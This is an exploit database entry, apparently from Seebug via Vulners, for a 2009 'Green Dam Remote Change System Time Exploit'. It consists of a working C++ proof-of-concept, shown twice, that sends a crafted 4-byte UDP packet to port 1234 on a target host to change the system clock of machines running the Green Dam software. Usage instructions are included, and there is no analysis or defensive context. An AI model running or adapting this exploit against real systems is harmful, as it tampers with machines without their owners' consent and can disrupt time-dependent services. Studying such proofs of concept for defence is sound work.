Search...

Green Dam Remote Change System Time Exploit

2009-07-02T00:00:00

ID SSV:11728
Type seebug
Reporter Root
Modified 2009-07-02T00:00:00

Description

No description provided by source.

                                        
                                            
                                                // Green Dam listen on udp port 1234 and wait for the 4 bytes time value
// We can send some bytes to change the time of the dest system
// testgreendam[at]gmail.com


#include &lt;iostream&gt;
#include &lt;boost/asio.hpp&gt;
#include &lt;boost/date_time.hpp&gt;

int main(int argc, char* argv[])
{
    try
    {
        if (argc != 3)
        {
            std::cerr &lt;&lt; &quot;Usage: testgd &lt;host&gt; &lt;time_string&gt;&quot; &lt;&lt; std::endl;
            std::cerr &lt;&lt; &quot;Example: testgd 192.168.0.12 \&quot;2009-06-03 16:00:00.000\&quot;&quot; &lt;&lt; std::endl;
            std::cerr &lt;&lt; &quot;Timezone is not calculated, please do it by yourself.&quot; &lt;&lt; std::endl;
            std::cerr &lt;&lt; &quot;testgreendam[at]gmail.com&quot; &lt;&lt; std::endl;
            return -1;
        }

        using boost::asio::ip::udp;
        boost::asio::io_service io_service;
        udp::socket s(io_service, udp::endpoint(udp::v4(), 0));
        udp::endpoint dest(
                boost::asio::ip::address::from_string(argv[1]), 1234);

        boost::posix_time::ptime start(boost::gregorian::date(1900,1,1));
        // (2008-1-1) -- (2010-12-31)
        boost::posix_time::ptime end(boost::posix_time::time_from_string(argv[2]));
        boost::posix_time::time_duration sec_count = end - start;

        unsigned int i = htonl(sec_count.total_seconds());
        s.send_to(boost::asio::buffer((char*)&amp;i, 4), dest);
    }
    catch (std::exception&amp; e)
    {
        std::cerr &lt;&lt; &quot;Exception: &quot; &lt;&lt; e.what() &lt;&lt; std::endl;
        return -1;
    }

    return 0;
}

JSON Vulners Source

Initial Source

{"sourceData": "\n // Green Dam listen on udp port 1234 and wait for the 4 bytes time value\r\n// We can send some bytes to change the time of the dest system\r\n// testgreendam[at]gmail.com\r\n\r\n\r\n#include <iostream>\r\n#include <boost/asio.hpp>\r\n#include <boost/date_time.hpp>\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n try\r\n {\r\n if (argc != 3)\r\n {\r\n std::cerr << "Usage: testgd <host> <time_string>" << std::endl;\r\n std::cerr << "Example: testgd 192.168.0.12 \\"2009-06-03 16:00:00.000\\"" << std::endl;\r\n std::cerr << "Timezone is not calculated, please do it by yourself." << std::endl;\r\n std::cerr << "testgreendam[at]gmail.com" << std::endl;\r\n return -1;\r\n }\r\n\r\n using boost::asio::ip::udp;\r\n boost::asio::io_service io_service;\r\n udp::socket s(io_service, udp::endpoint(udp::v4(), 0));\r\n udp::endpoint dest(\r\n boost::asio::ip::address::from_string(argv[1]), 1234);\r\n\r\n boost::posix_time::ptime start(boost::gregorian::date(1900,1,1));\r\n // (2008-1-1) -- (2010-12-31)\r\n boost::posix_time::ptime end(boost::posix_time::time_from_string(argv[2]));\r\n boost::posix_time::time_duration sec_count = end - start;\r\n\r\n unsigned int i = htonl(sec_count.total_seconds());\r\n s.send_to(boost::asio::buffer((char*)&i, 4), dest);\r\n }\r\n catch (std::exception& e)\r\n {\r\n std::cerr << "Exception: " << e.what() << std::endl;\r\n return -1;\r\n }\r\n\r\n return 0;\r\n}\r\n\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-11728", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-11728", "type": "seebug", "viewCount": 2, "references": [], "lastseen": "2017-11-19T18:45:25", "published": "2009-07-02T00:00:00", "cvelist": [], "id": "SSV:11728", "enchantments_done": [], "modified": "2009-07-02T00:00:00", "title": "Green Dam Remote Change System Time Exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2017-11-19T18:45:25", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T18:45:25", "rev": 2}, "vulnersScore": 0.2}}